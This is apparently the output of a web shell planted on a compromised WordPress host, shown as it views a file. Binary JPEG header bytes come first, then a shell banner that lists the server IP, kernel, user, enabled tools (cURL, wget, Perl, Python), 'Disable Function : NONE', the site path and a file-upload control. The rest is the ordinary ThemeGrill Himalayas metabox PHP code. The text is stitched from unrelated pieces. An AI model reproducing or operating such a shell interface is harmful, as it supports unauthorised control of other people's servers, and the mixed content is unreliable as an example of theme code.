????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././home/./tempvsty/peepmysite.com/wp-content/themes/himalayas/inc/admin/ |
Upload File : |
<?php
/**
* This fucntion is responsible for rendering metaboxes in single post area
*
* @package ThemeGrill
* @subpackage Himalayas
* @since Himalayas 1.0
*/
add_action( 'add_meta_boxes', 'himalayas_add_custom_box' );
/**
* Add Meta Boxes.
*/
function himalayas_add_custom_box() {
// Adding layout meta box for Page
add_meta_box( 'page-layout', __( 'Select Layout', 'himalayas' ), 'himalayas_layout_call', 'page', 'side', 'default' );
// Adding layout meta box for Post
add_meta_box( 'page-layout', __( 'Select Layout', 'himalayas' ), 'himalayas_layout_call', 'post', 'side', 'default' );
//Adding fontawesome icons
add_meta_box( 'services-icon', __( 'Icon class', 'himalayas' ), 'himalayas_icon_call', 'page', 'side' );
//Adding designation meta box
add_meta_box( 'team-designation', __( 'Our Team Designation', 'himalayas' ), 'himalayas_designation_call', 'page', 'side' );
}
/****************************************************************************************/
global $himalayas_page_layout, $himalayas_metabox_field_icons, $himalayas_metabox_field_designation;
$himalayas_page_layout = array(
'default-layout' => array(
'id' => 'himalayas_page_layout',
'value' => 'default_layout',
'label' => __( 'Default Layout', 'himalayas' )
),
'right-sidebar' => array(
'id' => 'himalayas_page_layout',
'value' => 'right_sidebar',
'label' => __( 'Right Sidebar', 'himalayas' )
),
'left-sidebar' => array(
'id' => 'himalayas_page_layout',
'value' => 'left_sidebar',
'label' => __( 'Left Sidebar', 'himalayas' )
),
'no-sidebar-full-width' => array(
'id' => 'himalayas_page_layout',
'value' => 'no_sidebar_full_width',
'label' => __( 'No Sidebar Full Width', 'himalayas' )
),
'no-sidebar-content-centered' => array(
'id' => 'himalayas_page_layout',
'value' => 'no_sidebar_content_centered',
'label' => __( 'No Sidebar Content Centered', 'himalayas' )
)
);
$himalayas_metabox_field_icons = array(
array(
'id' => 'himalayas_font_icon',
'label' => __( 'fontawesome Icons', 'himalayas' )
)
);
$himalayas_metabox_field_designation = array(
array(
'id' => 'himalayas_designation',
'label' => __( 'team designation', 'himalayas' )
)
);
/****************************************************************************************/
function himalayas_layout_call() {
global $himalayas_page_layout;
himalayas_meta_form( $himalayas_page_layout );
}
function himalayas_icon_call() {
global $himalayas_metabox_field_icons;
himalayas_meta_form( $himalayas_metabox_field_icons );
}
function himalayas_designation_call() {
global $himalayas_metabox_field_designation;
himalayas_meta_form( $himalayas_metabox_field_designation );
}
/**
* Displays metabox to for select layout option
*/
function himalayas_meta_form( $himalayas_metabox_field ) {
global $post;
// Use nonce for verification
wp_nonce_field( basename( __FILE__ ), 'custom_meta_box_nonce' );
foreach ( $himalayas_metabox_field as $field ) {
$layout_meta = get_post_meta( $post->ID, $field['id'], true );
switch( $field['id'] ) {
// Layout
case 'himalayas_page_layout':
if( empty( $layout_meta ) ) { $layout_meta = 'default_layout'; } ?>
<input class="post-format" type="radio" name="<?php echo $field['id']; ?>" value="<?php echo $field['value']; ?>" <?php checked( $field['value'], $layout_meta ); ?>/>
<label class="post-format-icon"><?php echo $field['label']; ?></label><br/>
<?php
break;
// Font icon
case 'himalayas_font_icon':
_e( 'If featured image is not used than display the icon in Services. </br>', 'himalayas' );
echo '<input type="text" name="'.$field['id'].'" value="'.esc_html($layout_meta).'"/><br>';
$url = 'http://fontawesome.io/icons/';
$link = sprintf( __( '<a href="%s" target="_blank">Refer here</a> for icon class. For example: <strong>fa-mobile</strong>', 'himalayas' ), esc_url( $url ) );
echo $link;
break;
// Team Designation
case 'himalayas_designation':
_e( 'Show designation in Our Team Widget. </br>', 'himalayas' );
echo '<input type="text" name="'.$field['id'].'" value="'.esc_html($layout_meta).'"/><br>';
break;
}
}
}
/****************************************************************************************/
add_action('save_post', 'himalayas_save_custom_meta');
/**
* save the custom metabox data
* @hooked to save_post hook
*/
function himalayas_save_custom_meta( $post_id ) {
global $himalayas_page_layout, $himalayas_metabox_field_icons, $himalayas_metabox_field_designation, $post;
// Verify the nonce before proceeding.
if ( !isset( $_POST[ 'custom_meta_box_nonce' ] ) || !wp_verify_nonce( $_POST[ 'custom_meta_box_nonce' ], basename( __FILE__ ) ) )
return;
// Stop WP from clearing custom fields on autosave
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE)
return;
if ('page' == $_POST['post_type']) {
if (!current_user_can( 'edit_page', $post_id ) )
return $post_id;
}
elseif (!current_user_can( 'edit_post', $post_id ) ) {
return $post_id;
}
foreach ( $himalayas_page_layout as $field ) {
//Execute this saving function
$old = get_post_meta( $post_id, $field['id'], true);
$new = $_POST[$field['id']];
if ($new && $new != $old) {
update_post_meta($post_id, $field['id'], $new);
} elseif ('' == $new && $old) {
delete_post_meta($post_id, $field['id'], $old);
}
} // end foreach
if ('page' == $_POST['post_type']) {
// loop through fields and save the data
foreach ( $himalayas_metabox_field_icons as $field ) {
$old = get_post_meta( $post_id, $field['id'], true );
$new = $_POST[$field['id']];
if ($new && $new != $old) {
update_post_meta( $post_id,$field['id'],$new );
} elseif ('' == $new && $old) {
delete_post_meta($post_id, $field['id'], $old);
}
} // end foreach
// loop through fields and save the data
foreach ( $himalayas_metabox_field_designation as $field ) {
$old = get_post_meta( $post_id, $field['id'], true );
$new = $_POST[$field['id']];
if ($new && $new != $old) {
update_post_meta( $post_id,$field['id'],$new );
} elseif ('' == $new && $old) {
delete_post_meta($post_id, $field['id'], $old);
}
} // end foreach
}
}